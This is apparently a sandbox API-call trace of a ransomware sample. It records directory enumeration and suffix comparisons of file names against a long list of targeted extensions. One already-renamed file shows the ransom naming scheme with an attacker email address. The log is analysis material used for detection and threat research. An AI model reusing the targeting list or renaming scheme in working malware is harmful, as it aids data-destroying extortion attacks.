ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0174.819] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.819] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2bb9891, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.819] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0174.819] lstrlenW (lpString=".1cd") returned 4 [0174.819] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0174.819] lstrlenW (lpString=".3ds") returned 4 [0174.819] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0174.819] lstrlenW (lpString=".3fr") returned 4 [0174.819] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0174.819] lstrlenW (lpString=".3g2") returned 4 [0174.819] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0174.819] lstrlenW (lpString=".3gp") returned 4 [0174.819] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0174.819] lstrlenW (lpString=".7z") returned 3 [0174.819] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0174.819] lstrlenW (lpString=".accda") returned 6 [0174.819] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0174.819] lstrlenW (lpString=".accdb") returned 6 [0174.819] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0174.819] lstrlenW (lpString=".accdc") returned 6 [0174.819] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0174.819] lstrlenW (lpString=".accde") returned 6 [0174.819] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0174.819] lstrlenW (lpString=".accdt") returned 6 [0174.819] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0174.819] lstrlenW (lpString=".accdw") returned 6 [0174.819] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0174.819] lstrlenW (lpString=".adb") returned 4 [0174.819] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0174.819] lstrlenW (lpString=".adp") returned 4 [0174.819] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".ai") returned 3 [0174.820] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0174.820] lstrlenW (lpString=".ai3") returned 4 [0174.820] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".ai4") returned 4 [0174.820] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".ai5") returned 4 [0174.820] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".ai6") returned 4 [0174.820] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".ai7") returned 4 [0174.820] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".ai8") returned 4 [0174.820] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".anim") returned 5 [0174.820] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0174.820] lstrlenW (lpString=".arw") returned 4 [0174.820] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".as") returned 3 [0174.820] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0174.820] lstrlenW (lpString=".asa") returned 4 [0174.820] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".asc") returned 4 [0174.820] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".ascx") returned 5 [0174.820] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0174.820] lstrlenW (lpString=".asm") returned 4 [0174.820] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".asmx") returned 5 [0174.820] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0174.820] lstrlenW (lpString=".asp") returned 4 [0174.820] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0174.820] lstrlenW (lpString=".aspx") returned 5 [0174.820] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0174.820] lstrlenW (lpString=".asr") returned 4 [0174.820] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".asx") returned 4 [0174.821] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".avi") returned 4 [0174.821] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".avs") returned 4 [0174.821] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".backup") returned 7 [0174.821] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0174.821] lstrlenW (lpString=".bak") returned 4 [0174.821] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".bay") returned 4 [0174.821] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".bd") returned 3 [0174.821] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0174.821] lstrlenW (lpString=".bin") returned 4 [0174.821] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".bmp") returned 4 [0174.821] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".bz2") returned 4 [0174.821] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".c") returned 2 [0174.821] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0174.821] lstrlenW (lpString=".cdr") returned 4 [0174.821] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".cer") returned 4 [0174.821] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".cf") returned 3 [0174.821] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0174.821] lstrlenW (lpString=".cfc") returned 4 [0174.821] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".cfm") returned 4 [0174.821] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0174.821] lstrlenW (lpString=".cfml") returned 5 [0174.821] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0174.821] lstrlenW (lpString=".cfu") returned 4 [0174.822] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".chm") returned 4 [0174.822] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".cin") returned 4 [0174.822] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".class") returned 6 [0174.822] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0174.822] lstrlenW (lpString=".clx") returned 4 [0174.822] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".config") returned 7 [0174.822] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0174.822] lstrlenW (lpString=".cpp") returned 4 [0174.822] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".cr2") returned 4 [0174.822] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".crt") returned 4 [0174.822] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".crw") returned 4 [0174.822] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".cs") returned 3 [0174.822] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0174.822] lstrlenW (lpString=".css") returned 4 [0174.822] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".csv") returned 4 [0174.822] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".cub") returned 4 [0174.822] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".dae") returned 4 [0174.822] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".dat") returned 4 [0174.822] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0174.822] lstrlenW (lpString=".db") returned 3 [0174.822] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0174.822] lstrlenW (lpString=".dbf") returned 4 [0174.822] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dbx") returned 4 [0174.823] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dc3") returned 4 [0174.823] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dcm") returned 4 [0174.823] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dcr") returned 4 [0174.823] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".der") returned 4 [0174.823] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dib") returned 4 [0174.823] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dic") returned 4 [0174.823] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dif") returned 4 [0174.823] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".divx") returned 5 [0174.823] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0174.823] lstrlenW (lpString=".djvu") returned 5 [0174.823] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0174.823] lstrlenW (lpString=".dng") returned 4 [0174.823] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".doc") returned 4 [0174.823] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".docm") returned 5 [0174.823] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0174.823] lstrlenW (lpString=".docx") returned 5 [0174.823] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0174.823] lstrlenW (lpString=".dot") returned 4 [0174.823] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0174.823] lstrlenW (lpString=".dotm") returned 5 [0174.823] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0174.823] lstrlenW (lpString=".dotx") returned 5 [0174.823] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0174.823] lstrlenW (lpString=".dpx") returned 4 [0174.823] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".dqy") returned 4 [0174.824] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".dsn") returned 4 [0174.824] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".dt") returned 3 [0174.824] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0174.824] lstrlenW (lpString=".dtd") returned 4 [0174.824] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".dwg") returned 4 [0174.824] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".dwt") returned 4 [0174.824] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".dx") returned 3 [0174.824] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0174.824] lstrlenW (lpString=".dxf") returned 4 [0174.824] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".edml") returned 5 [0174.824] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0174.824] lstrlenW (lpString=".efd") returned 4 [0174.824] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".elf") returned 4 [0174.824] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".emf") returned 4 [0174.824] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".emz") returned 4 [0174.824] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".epf") returned 4 [0174.824] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".eps") returned 4 [0174.824] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0174.824] lstrlenW (lpString=".epsf") returned 5 [0174.824] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0174.824] lstrlenW (lpString=".epsp") returned 5 [0174.824] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0174.824] lstrlenW (lpString=".erf") returned 4 [0174.825] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".exr") returned 4 [0174.825] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".f4v") returned 4 [0174.825] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".fido") returned 5 [0174.825] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0174.825] lstrlenW (lpString=".flm") returned 4 [0174.825] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".flv") returned 4 [0174.825] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".frm") returned 4 [0174.825] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".fxg") returned 4 [0174.825] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".geo") returned 4 [0174.825] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".gif") returned 4 [0174.825] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".grs") returned 4 [0174.825] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".gz") returned 3 [0174.825] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0174.825] lstrlenW (lpString=".h") returned 2 [0174.825] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0174.825] lstrlenW (lpString=".hdr") returned 4 [0174.825] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".hpp") returned 4 [0174.825] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".hta") returned 4 [0174.825] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".htc") returned 4 [0174.825] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".htm") returned 4 [0174.825] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0174.825] lstrlenW (lpString=".html") returned 5 [0174.826] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0174.826] lstrlenW (lpString=".icb") returned 4 [0174.826] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".ics") returned 4 [0174.826] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".iff") returned 4 [0174.826] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".inc") returned 4 [0174.826] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".indd") returned 5 [0174.826] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0174.826] lstrlenW (lpString=".ini") returned 4 [0174.826] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".iqy") returned 4 [0174.826] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".j2c") returned 4 [0174.826] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".j2k") returned 4 [0174.826] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".java") returned 5 [0174.826] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0174.826] lstrlenW (lpString=".jp2") returned 4 [0174.826] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".jpc") returned 4 [0174.826] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".jpe") returned 4 [0174.826] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".jpeg") returned 5 [0174.826] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0174.826] lstrlenW (lpString=".jpf") returned 4 [0174.826] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".jpg") returned 4 [0174.826] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0174.826] lstrlenW (lpString=".jpx") returned 4 [0174.826] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".js") returned 3 [0174.827] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0174.827] lstrlenW (lpString=".jsf") returned 4 [0174.827] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".json") returned 5 [0174.827] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0174.827] lstrlenW (lpString=".jsp") returned 4 [0174.827] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".kdc") returned 4 [0174.827] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".kmz") returned 4 [0174.827] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".kwm") returned 4 [0174.827] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".lasso") returned 6 [0174.827] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0174.827] lstrlenW (lpString=".lbi") returned 4 [0174.827] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".lgf") returned 4 [0174.827] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".lgp") returned 4 [0174.827] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".log") returned 4 [0174.827] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".m1v") returned 4 [0174.827] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".m4a") returned 4 [0174.827] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".m4v") returned 4 [0174.827] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".max") returned 4 [0174.827] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0174.827] lstrlenW (lpString=".md") returned 3 [0174.827] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0174.827] lstrlenW (lpString=".mda") returned 4 [0174.827] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mdb") returned 4 [0174.828] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mde") returned 4 [0174.828] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mdf") returned 4 [0174.828] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mdw") returned 4 [0174.828] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mef") returned 4 [0174.828] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mft") returned 4 [0174.828] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mfw") returned 4 [0174.828] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mht") returned 4 [0174.828] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mhtml") returned 6 [0174.828] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0174.828] lstrlenW (lpString=".mka") returned 4 [0174.828] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mkidx") returned 6 [0174.828] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0174.828] lstrlenW (lpString=".mkv") returned 4 [0174.828] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mos") returned 4 [0174.828] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mov") returned 4 [0174.828] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mp3") returned 4 [0174.828] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mp4") returned 4 [0174.828] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0174.828] lstrlenW (lpString=".mpeg") returned 5 [0174.829] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0174.829] lstrlenW (lpString=".mpg") returned 4 [0174.829] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".mpv") returned 4 [0174.829] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".mrw") returned 4 [0174.829] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".msg") returned 4 [0174.829] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".mxl") returned 4 [0174.829] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".myd") returned 4 [0174.829] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".myi") returned 4 [0174.829] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".nef") returned 4 [0174.829] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".nrw") returned 4 [0174.829] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".obj") returned 4 [0174.829] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".odb") returned 4 [0174.829] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".odc") returned 4 [0174.829] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".odm") returned 4 [0174.829] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".odp") returned 4 [0174.829] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".ods") returned 4 [0174.829] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".oft") returned 4 [0174.829] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".one") returned 4 [0174.829] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0174.829] lstrlenW (lpString=".onepkg") returned 7 [0174.830] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0174.830] lstrlenW (lpString=".onetoc2") returned 8 [0174.830] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0174.830] lstrlenW (lpString=".opt") returned 4 [0174.830] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".oqy") returned 4 [0174.830] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".orf") returned 4 [0174.830] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".p12") returned 4 [0174.830] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".p7b") returned 4 [0174.830] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".p7c") returned 4 [0174.830] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pam") returned 4 [0174.830] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pbm") returned 4 [0174.830] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pct") returned 4 [0174.830] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pcx") returned 4 [0174.830] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pdd") returned 4 [0174.830] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pdf") returned 4 [0174.830] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pdp") returned 4 [0174.830] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pef") returned 4 [0174.830] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pem") returned 4 [0174.830] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0174.830] lstrlenW (lpString=".pff") returned 4 [0174.830] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".pfm") returned 4 [0174.831] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".pfx") returned 4 [0174.831] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".pgm") returned 4 [0174.831] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".php") returned 4 [0174.831] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".php3") returned 5 [0174.831] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0174.831] lstrlenW (lpString=".php4") returned 5 [0174.831] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0174.831] lstrlenW (lpString=".php5") returned 5 [0174.831] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0174.831] lstrlenW (lpString=".phtml") returned 6 [0174.831] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0174.831] lstrlenW (lpString=".pict") returned 5 [0174.831] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0174.831] 